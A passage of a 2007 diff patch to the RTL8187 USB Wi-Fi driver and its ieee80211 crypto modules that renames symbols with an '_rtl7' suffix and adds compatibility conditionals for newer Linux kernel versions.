stats = { .signal = 0, .noise = -98, @@ -2335,17 +2404,17 @@ //DMESG("RX %d ",rx_urb->status); status = rx_urb->status; if(status == 0){ - + len = rx_urb->actual_length; - // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ + // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ len -= 4*4;/* 4 dword and 4 byte CRC */ - + desc = (u32*)(rx_urb->transfer_buffer + len); - + flen = desc[0] & 0xfff; - + if( flen <= rx_urb->actual_length){ - + stats.signal = (desc[1] & 0x7f00)>>8; stats.noise = desc[1] &0xff; stats.rate = desc[0] >> 20 & 0xf; @@ -2353,22 +2422,23 @@ stats.mac_time[1] = desc[3]; skb = dev_alloc_skb(flen-4); //skb_reserve(skb,2); - if(skb){ + if(skb){ memcpy(skb_put(skb,flen-4), rx_urb->transfer_buffer,flen -4); - + #ifdef DUMP_RX int i; for(i=0;itransfer_buffer))[i]); printk("------RATE %x:w---------------\n",stats.rate); - + #endif priv->stats.rxok++; // priv->rxskb = skb; // priv->tempstats = &stats; - if(!ieee80211_rx(priv->ieee80211, + + if(!ieee80211_rx_rtl7(priv->ieee80211, skb, &stats)) dev_kfree_skb_any(skb); } @@ -2376,9 +2446,9 @@ }else{ priv->stats.rxstaterr++; priv->ieee80211->stats.rx_errors++; - + } - + if(status != -ENOENT)rtl8187_rx_urbsubmit(dev,rx_urb); else DMESG("RX process aborted due to explicit shutdown"); } @@ -2396,20 +2466,20 @@ struct r8180_priv *priv= NULL; struct usb_device *udev = interface_to_usbdev(intf); -//printk("===> rtl8187_usb_probe()\n"); - - dev = alloc_ieee80211(sizeof(struct r8180_priv)); - +//printk("===> rtl8187_usb_probe()\n"); + + dev = alloc_ieee80211_rtl7(sizeof(struct r8180_priv)); + SET_MODULE_OWNER(dev); - usb_set_intfdata(intf, dev); - + usb_set_intfdata(intf, dev); + SET_NETDEV_DEV(dev, &intf->dev); - priv = ieee80211_priv(dev); + priv = ieee80211_priv_rtl7(dev); priv->ieee80211 = netdev_priv(dev); - + priv->udev=udev; - + dev->open = rtl8180_open; dev->stop = rtl8180_close; //dev->hard_start_xmit = rtl8180_8023_hard_start_xmit; @@ -2418,41 +2488,46 @@ dev->do_ioctl = rtl8180_ioctl; dev->set_multicast_list = r8180_set_multicast; dev->set_mac_address = r8180_set_mac_adr; +#if WIRELESS_EXT >= 12 +#if WIRELESS_EXT < 17 dev->get_wireless_stats = r8180_get_wireless_stats; +#endif + dev->wireless_handlers = (struct iw_handler_def *) &r8180_wx_handlers_def; +#endif dev->type=ARPHRD_ETHER; - + if (dev_alloc_name(dev, ifname) < 0){ DMESG("Oops: devname already taken! Trying wlan%%d...\n"); ifname = "wlan%d"; dev_alloc_name(dev, ifname); } - + // dev->open=rtl8180_init; - - if(rtl8180_init(dev)!=0){ + + if(rtl8180_init(dev)!=0){ DMESG("Initialization failed"); goto fail; } - + netif_carrier_off(dev); netif_stop_queue(dev); - + register_netdev(dev); - + rtl8180_proc_init_one(dev); - - + + DMESG("Driver probe completed\n"); - return 0; + return 0; + - fail: - free_ieee80211(dev); - + free_ieee80211_rtl7(dev); + DMESG("wlan driver load failed\n"); - + return -ENODEV; - + } @@ -2461,13 +2536,13 @@ struct r8180_priv *priv; struct net_device *dev = usb_get_intfdata(intf); if(dev){ - + unregister_netdev(dev); - - priv=ieee80211_priv(dev); - + + priv=ieee80211_priv_rtl7(dev); + rtl8180_proc_remove_one(dev); - + rtl8180_down(dev); priv->rf_close(dev); //rtl8180_rtx_disable(dev); @@ -2478,12 +2553,12 @@ } // pci_disable_device(pdev); - free_ieee80211(dev); + free_ieee80211_rtl7(dev); DMESG("wlan driver removed\n"); } -static int __init rtl8187_usb_module_init(void) +static int __init rtl8187_usb_module_init_rtl7(void) { printk(KERN_INFO "\nLinux kernel driver for RTL8187 \ based WLAN cards\n"); @@ -2495,7 +2570,7 @@ } -static void __exit rtl8187_usb_module_exit(void) +static void __exit rtl8187_usb_module_exit_rtl7(void) { usb_deregister(&rtl8187_usb_driver); @@ -2508,14 +2583,14 @@ { unsigned long flags; short enough_desc; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + spin_lock_irqsave(&priv->tx_lock,flags); enough_desc = check_nic_enought_desc(dev,pri); - spin_unlock_irqrestore(&priv->tx_lock,flags); - + spin_unlock_irqrestore(&priv->tx_lock,flags); + if(enough_desc) - ieee80211_wake_queue(priv->ieee80211); + ieee80211_wake_queue_rtl7(priv->ieee80211); } @@ -2523,5 +2598,5 @@ /*************************************************************************** ------------------- module init / exit stubs ---------------- ****************************************************************************/ -module_init(rtl8187_usb_module_init); -module_exit(rtl8187_usb_module_exit); +module_init(rtl8187_usb_module_init_rtl7); +module_exit(rtl8187_usb_module_exit_rtl7); diff -Naur rtl8187_orig/beta-8187/r8187.h rtl8187_txpower/beta-8187/r8187.h --- rtl8187_orig/beta-8187/r8187.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/beta-8187/r8187.h 2007-04-23 00:08:15.000000000 +0200 @@ -26,7 +26,6 @@ #include #include -#include #include #include #include @@ -47,6 +46,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #define EPROM_93c46 0 @@ -148,7 +153,7 @@ u8 challow[15]; //channels from 1 to 14, 0 not used short up; short crcmon; //if 1 allow bad crc frame reception in monitor mode -// short prism_hdr; + short prism_hdr; // struct timer_list scan_timer; /*short scanpending; diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt.c rtl8187_txpower/ieee80211/ieee80211_crypt.c --- rtl8187_orig/ieee80211/ieee80211_crypt.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/ieee80211/ieee80211_crypt.c 2007-04-23 00:09:00.000000000 +0200 @@ -11,7 +11,6 @@ * */ -#include #include #include #include @@ -19,6 +18,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_AUTHOR("Jouni Malinen"); @@ -38,7 +43,7 @@ static struct ieee80211_crypto *hcrypt; -void ieee80211_crypt_deinit_entries(struct ieee80211_device *ieee, +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *ieee, int force) { struct list_head *ptr, *n; @@ -61,13 +66,13 @@ } } -void ieee80211_crypt_deinit_handler(unsigned long data) +void ieee80211_crypt_deinit_handler_rtl7(unsigned long data) { struct ieee80211_device *ieee = (struct ieee80211_device *)data; unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - ieee80211_crypt_deinit_entries(ieee, 0); + ieee80211_crypt_deinit_entries_rtl7(ieee, 0); if (!list_empty(&ieee->crypt_deinit_list)) { printk(KERN_DEBUG "%s: entries remaining in delayed crypt " "deletion list\n", ieee->dev->name); @@ -78,7 +83,7 @@ } -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt) { struct ieee80211_crypt_data *tmp; @@ -103,7 +108,7 @@ spin_unlock_irqrestore(&ieee->lock, flags); } -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct ieee80211_crypto_alg *alg; @@ -128,7 +133,7 @@ return 0; } -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct list_head *ptr; @@ -159,7 +164,7 @@ } -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name) +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name) { unsigned long flags; struct list_head *ptr; @@ -186,13 +191,13 @@ } -static void * ieee80211_crypt_null_init(int keyidx) { return (void *) 1; } -static void ieee80211_crypt_null_deinit(void *priv) {} +static void * ieee80211_crypt_null_init_rtl7(int keyidx) { return (void *) 1; } +static void ieee80211_crypt_null_deinit_rtl7(void *priv) {} static struct ieee80211_crypto_ops ieee80211_crypt_null = { .name = "NULL", - .init = ieee80211_crypt_null_init, - .deinit = ieee80211_crypt_null_deinit, + .init = ieee80211_crypt_null_init_rtl7, + .deinit = ieee80211_crypt_null_deinit_rtl7, .encrypt_mpdu = NULL, .decrypt_mpdu = NULL, .encrypt_msdu = NULL, @@ -205,7 +210,7 @@ }; -static int __init ieee80211_crypto_init(void) +static int __init ieee80211_crypto_init_rtl7(void) { int ret = -ENOMEM; @@ -217,7 +222,7 @@ INIT_LIST_HEAD(&hcrypt->algs); spin_lock_init(&hcrypt->lock); - ret = ieee80211_register_crypto_ops(&ieee80211_crypt_null); + ret = ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_null); if (ret < 0) { kfree(hcrypt); hcrypt = NULL; @@ -227,7 +232,7 @@ } -static void __exit ieee80211_crypto_deinit(void) +static void __exit ieee80211_crypto_deinit_rtl7(void) { struct list_head *ptr, *n; @@ -247,13 +252,13 @@ kfree(hcrypt); } -EXPORT_SYMBOL(ieee80211_crypt_deinit_entries); -EXPORT_SYMBOL(ieee80211_crypt_deinit_handler); -EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit); - -EXPORT_SYMBOL(ieee80211_register_crypto_ops); -EXPORT_SYMBOL(ieee80211_unregister_crypto_ops); -EXPORT_SYMBOL(ieee80211_get_crypto_ops); +EXPORT_SYMBOL(ieee80211_crypt_deinit_entries_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_deinit_handler_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit_rtl7); + +EXPORT_SYMBOL(ieee80211_register_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_unregister_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_get_crypto_ops_rtl7); -module_init(ieee80211_crypto_init); -module_exit(ieee80211_crypto_deinit); +module_init(ieee80211_crypto_init_rtl7); +module_exit(ieee80211_crypto_deinit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_ccmp.c rtl8187_txpower/ieee80211/ieee80211_crypt_ccmp.c --- rtl8187_orig/ieee80211/ieee80211_crypt_ccmp.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/ieee80211/ieee80211_crypt_ccmp.c 2007-04-23 00:09:00.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -22,11 +21,22 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: CCMP"); @@ -59,7 +69,7 @@ u8 rx_b0[AES_BLOCK_LEN], rx_b[AES_BLOCK_LEN], rx_a[AES_BLOCK_LEN]; }; -void ieee80211_ccmp_aes_encrypt(struct crypto_tfm *tfm, +void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_tfm *tfm, const u8 pt[16], u8 ct[16]) { struct scatterlist src, dst; @@ -75,7 +85,7 @@ crypto_cipher_encrypt(tfm, &dst, &src, AES_BLOCK_LEN); } -static void * ieee80211_ccmp_init(int key_idx) +static void * ieee80211_ccmp_init_rtl7(int key_idx) { struct ieee80211_ccmp_data *priv; @@ -105,7 +115,7 @@ } -static void ieee80211_ccmp_deinit(void *priv) +static void ieee80211_ccmp_deinit_rtl7(void *priv) { struct ieee80211_ccmp_data *_priv = priv; if (_priv && _priv->tfm) @@ -114,7 +124,7 @@ } -static inline void xor_block(u8 *b, u8 *a, size_t len) +static inline void xor_block_rtl7(u8 *b, u8 *a, size_t len) { int i; for (i = 0; i < len; i++) @@ -122,7 +132,7 @@ } -static void ccmp_init_blocks(struct crypto_tfm *tfm, +static void ccmp_init_blocks_rtl7(struct crypto_tfm *tfm, struct ieee80211_hdr *hdr, u8 *pn, size_t dlen, u8 *b0, u8 *auth, u8 *s0) @@ -186,18 +196,18 @@ } /* Start with the first block and AAD */ - ieee80211_ccmp_aes_encrypt(tfm, b0, auth); - xor_block(auth, aad, AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); - xor_block(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, auth); + xor_block_rtl7(auth, aad, AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); + xor_block_rtl7(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); b0[0] &= 0x07; b0[14] = b0[15] = 0; - ieee80211_ccmp_aes_encrypt(tfm, b0, s0); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, s0); } -static int ieee80211_ccmp_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; int data_len, i, blocks, last, len; @@ -237,7 +247,7 @@ *pos++ = key->tx_pn[0]; hdr = (struct ieee80211_hdr *) skb->data; - ccmp_init_blocks(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); + ccmp_init_blocks_rtl7(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -245,13 +255,13 @@ for (i = 1; i <= blocks; i++) { len = (i == blocks && last) ? last : AES_BLOCK_LEN; /* Authentication */ - xor_block(b, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, b, b); + xor_block_rtl7(b, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b, b); /* Encryption, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, e); - xor_block(pos, e, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, e); + xor_block_rtl7(pos, e, len); pos += len; } @@ -262,7 +272,7 @@ } -static int ieee80211_ccmp_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; u8 keyidx, *pos; @@ -326,8 +336,8 @@ return -4; } - ccmp_init_blocks(key->tfm, hdr, pn, data_len, b0, a, b); - xor_block(mic, b, CCMP_MIC_LEN); + ccmp_init_blocks_rtl7(key->tfm, hdr, pn, data_len, b0, a, b); + xor_block_rtl7(mic, b, CCMP_MIC_LEN); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -337,11 +347,11 @@ /* Decrypt, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, b); - xor_block(pos, b, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, b); + xor_block_rtl7(pos, b, len); /* Authentication */ - xor_block(a, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, a, a); + xor_block_rtl7(a, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, a, a); pos += len; } @@ -365,7 +375,7 @@ } -static int ieee80211_ccmp_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; int keyidx; @@ -396,7 +406,7 @@ } -static int ieee80211_ccmp_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; @@ -420,7 +430,7 @@ } -static char * ieee80211_ccmp_print_stats(char *p, void *priv) +static char * ieee80211_ccmp_print_stats_rtl7(char *p, void *priv) { struct ieee80211_ccmp_data *ccmp = priv; p += sprintf(p, "key[%d] alg=CCMP key_set=%d " @@ -437,34 +447,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_ccmp = { +static struct ieee80211_crypto_ops ieee80211_crypt_ccmp_rtl7 = { .name = "CCMP", - .init = ieee80211_ccmp_init, - .deinit = ieee80211_ccmp_deinit, - .encrypt_mpdu = ieee80211_ccmp_encrypt, - .decrypt_mpdu = ieee80211_ccmp_decrypt, + .init = ieee80211_ccmp_init_rtl7, + .deinit = ieee80211_ccmp_deinit_rtl7, + .encrypt_mpdu = ieee80211_ccmp_encrypt_rtl7, + .decrypt_mpdu = ieee80211_ccmp_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = ieee80211_ccmp_set_key, - .get_key = ieee80211_ccmp_get_key, - .print_stats = ieee80211_ccmp_print_stats, + .set_key = ieee80211_ccmp_set_key_rtl7, + .get_key = ieee80211_ccmp_get_key_rtl7, + .print_stats = ieee80211_ccmp_print_stats_rtl7, .extra_prefix_len = CCMP_HDR_LEN, .extra_postfix_len = CCMP_MIC_LEN, .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_ccmp_init(void) +static int __init ieee80211_crypto_ccmp_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_ccmp); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -static void __exit ieee80211_crypto_ccmp_exit(void) +static void __exit ieee80211_crypto_ccmp_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_ccmp); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -module_init(ieee80211_crypto_ccmp_init); -module_exit(ieee80211_crypto_ccmp_exit); +module_init(ieee80211_crypto_ccmp_init_rtl7); +module_exit(ieee80211_crypto_ccmp_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt.h rtl8187_txpower/ieee80211/ieee80211_crypt.h --- rtl8187_orig/ieee80211/ieee80211_crypt.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/ieee80211/ieee80211_crypt.h 2007-04-23 00:09:03.000000000 +0200 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_tkip.c rtl8187_txpower/ieee80211/ieee80211_crypt_tkip.c --- rtl8187_orig/ieee80211/ieee80211_crypt_tkip.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/ieee80211/ieee80211_crypt_tkip.c 2007-04-23 00:09:00.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -21,13 +20,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif #include -#include #include + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: TKIP"); MODULE_LICENSE("GPL"); @@ -62,7 +72,7 @@ u8 rx_hdr[16], tx_hdr[16]; }; -static void * ieee80211_tkip_init(int key_idx) +static void * ieee80211_tkip_init_rtl7(int key_idx) { struct ieee80211_tkip_data *priv; @@ -101,7 +111,7 @@ } -static void ieee80211_tkip_deinit(void *priv) +static void ieee80211_tkip_deinit_rtl7(void *priv) { struct ieee80211_tkip_data *_priv = priv; if (_priv && _priv->tfm_michael) @@ -200,7 +210,7 @@ #define PHASE1_LOOP_COUNT 8 -static void tkip_mixing_phase1(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) +static void tkip_mixing_phase1_rtl7(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) { int i, j; @@ -222,7 +232,7 @@ } -static void tkip_mixing_phase2(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, +static void tkip_mixing_phase2_rtl7(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, u16 IV16) { /* Make temporary area overlap WEP seed so that the final copy can be @@ -268,7 +278,7 @@ #endif } -static int ieee80211_tkip_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; int len; @@ -283,11 +293,11 @@ hdr = (struct ieee80211_hdr *) skb->data; if (!tkey->tx_phase1_done) { - tkip_mixing_phase1(tkey->tx_ttak, tkey->key, hdr->addr2, + tkip_mixing_phase1_rtl7(tkey->tx_ttak, tkey->key, hdr->addr2, tkey->tx_iv32); tkey->tx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); len = skb->len - hdr_len; pos = skb_push(skb, 8); @@ -325,7 +335,7 @@ return 0; } -static int ieee80211_tkip_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 rc4key[16]; @@ -382,10 +392,10 @@ } if (iv32 != tkey->rx_iv32 || !tkey->rx_phase1_done) { - tkip_mixing_phase1(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); + tkip_mixing_phase1_rtl7(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); tkey->rx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->rx_ttak, iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->rx_ttak, iv16); plen = skb->len - hdr_len - 12; @@ -428,10 +438,14 @@ } -static int michael_mic(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, +static int michael_mic_rtl7(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, u8 *data, size_t data_len, u8 *mic) { +#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20) + struct hash_desc desc; +#endif struct scatterlist sg[2]; + int ret=0; if (tkey->tfm_michael == NULL) { printk(KERN_WARNING "michael_mic: tfm_michael == NULL\n"); @@ -445,15 +459,24 @@ sg[1].offset = offset_in_page(data); sg[1].length = data_len; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) crypto_digest_init(tkey->tfm_michael); crypto_digest_setkey(tkey->tfm_michael, key, 8); crypto_digest_update(tkey->tfm_michael, sg, 2); crypto_digest_final(tkey->tfm_michael, mic); +#else + if (crypto_hash_setkey(tkey->tfm_michael, key, 8)) + return -1; - return 0; + desc.tfm = tkey->tfm_michael; + desc.flags = 0; + ret = crypto_hash_digest(&desc, sg, data_len + 16, mic); +#endif + + return ret; } -static void michael_mic_hdr(struct sk_buff *skb, u8 *hdr) +static void michael_mic_hdr_rtl7(struct sk_buff *skb, u8 *hdr) { struct ieee80211_hdr *hdr11; @@ -483,7 +506,7 @@ } -static int ieee80211_michael_mic_add(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_michael_mic_add_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 *pos; @@ -495,9 +518,9 @@ return -1; } - michael_mic_hdr(skb, tkey->tx_hdr); + michael_mic_hdr_rtl7(skb, tkey->tx_hdr); pos = skb_put(skb, 8); - if (michael_mic(tkey, &tkey->key[16], tkey->tx_hdr, + if (michael_mic_rtl7(tkey, &tkey->key[16], tkey->tx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) return -1; @@ -506,7 +529,7 @@ #if WIRELESS_EXT >= 18 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -527,7 +550,7 @@ wireless_send_event(dev, IWEVMICHAELMICFAILURE, &wrqu, (char *) &ev); } #elif WIRELESS_EXT >= 15 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -543,7 +566,7 @@ wireless_send_event(dev, IWEVCUSTOM, &wrqu, buf); } #else /* WIRELESS_EXT >= 15 */ -static inline void ieee80211_michael_mic_failure(struct net_device *dev, +static inline void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -551,7 +574,7 @@ #endif /* WIRELESS_EXT >= 15 */ -static int ieee80211_michael_mic_verify(struct sk_buff *skb, int keyidx, +static int ieee80211_michael_mic_verify_rtl7(struct sk_buff *skb, int keyidx, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -560,8 +583,8 @@ if (!tkey->key_set) return -1; - michael_mic_hdr(skb, tkey->rx_hdr); - if (michael_mic(tkey, &tkey->key[24], tkey->rx_hdr, + michael_mic_hdr_rtl7(skb, tkey->rx_hdr); + if (michael_mic_rtl7(tkey, &tkey->key[24], tkey->rx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) return -1; if (memcmp(mic, skb->data + skb->len - 8, 8) != 0) { @@ -572,7 +595,7 @@ skb->dev ? skb->dev->name : "N/A", MAC_ARG(hdr->addr2), keyidx); if (skb->dev) - ieee80211_michael_mic_failure(skb->dev, hdr, keyidx); + ieee80211_michael_mic_failure_rtl7(skb->dev, hdr, keyidx); tkey->dot11RSNAStatsTKIPLocalMICFailures++; return -1; } @@ -588,7 +611,7 @@ } -static int ieee80211_tkip_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; int keyidx; @@ -618,7 +641,7 @@ } -static int ieee80211_tkip_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -648,7 +671,7 @@ } -static char * ieee80211_tkip_print_stats(char *p, void *priv) +static char * ieee80211_tkip_print_stats_rtl7(char *p, void *priv) { struct ieee80211_tkip_data *tkip = priv; p += sprintf(p, "key[%d] alg=TKIP key_set=%d " @@ -675,34 +698,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_tkip = { +static struct ieee80211_crypto_ops ieee80211_crypt_tkip_rtl7 = { .name = "TKIP", - .init = ieee80211_tkip_init, - .deinit = ieee80211_tkip_deinit, - .encrypt_mpdu = ieee80211_tkip_encrypt, - .decrypt_mpdu = ieee80211_tkip_decrypt, - .encrypt_msdu = ieee80211_michael_mic_add, - .decrypt_msdu = ieee80211_michael_mic_verify, - .set_key = ieee80211_tkip_set_key, - .get_key = ieee80211_tkip_get_key, - .print_stats = ieee80211_tkip_print_stats, + .init = ieee80211_tkip_init_rtl7, + .deinit = ieee80211_tkip_deinit_rtl7, + .encrypt_mpdu = ieee80211_tkip_encrypt_rtl7, + .decrypt_mpdu = ieee80211_tkip_decrypt_rtl7, + .encrypt_msdu = ieee80211_michael_mic_add_rtl7, + .decrypt_msdu = ieee80211_michael_mic_verify_rtl7, + .set_key = ieee80211_tkip_set_key_rtl7, + .get_key = ieee80211_tkip_get_key_rtl7, + .print_stats = ieee80211_tkip_print_stats_rtl7, .extra_prefix_len = 4 + 4, /* IV + ExtIV */ .extra_postfix_len = 8 + 4, /* MIC + ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_tkip_init(void) +static int __init ieee80211_crypto_tkip_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_tkip); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -static void __exit ieee80211_crypto_tkip_exit(void) +static void __exit ieee80211_crypto_tkip_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_tkip); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -module_init(ieee80211_crypto_tkip_init); -module_exit(ieee80211_crypto_tkip_exit); +module_init(ieee80211_crypto_tkip_init_rtl7); +module_exit(ieee80211_crypto_tkip_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_wep.c rtl8187_txpower/ieee80211/ieee80211_crypt_wep.c --- rtl8187_orig/ieee80211/ieee80211_crypt_wep.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/ieee80211/ieee80211_crypt_wep.c 2007-04-23 00:09:00.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -18,13 +17,24 @@ 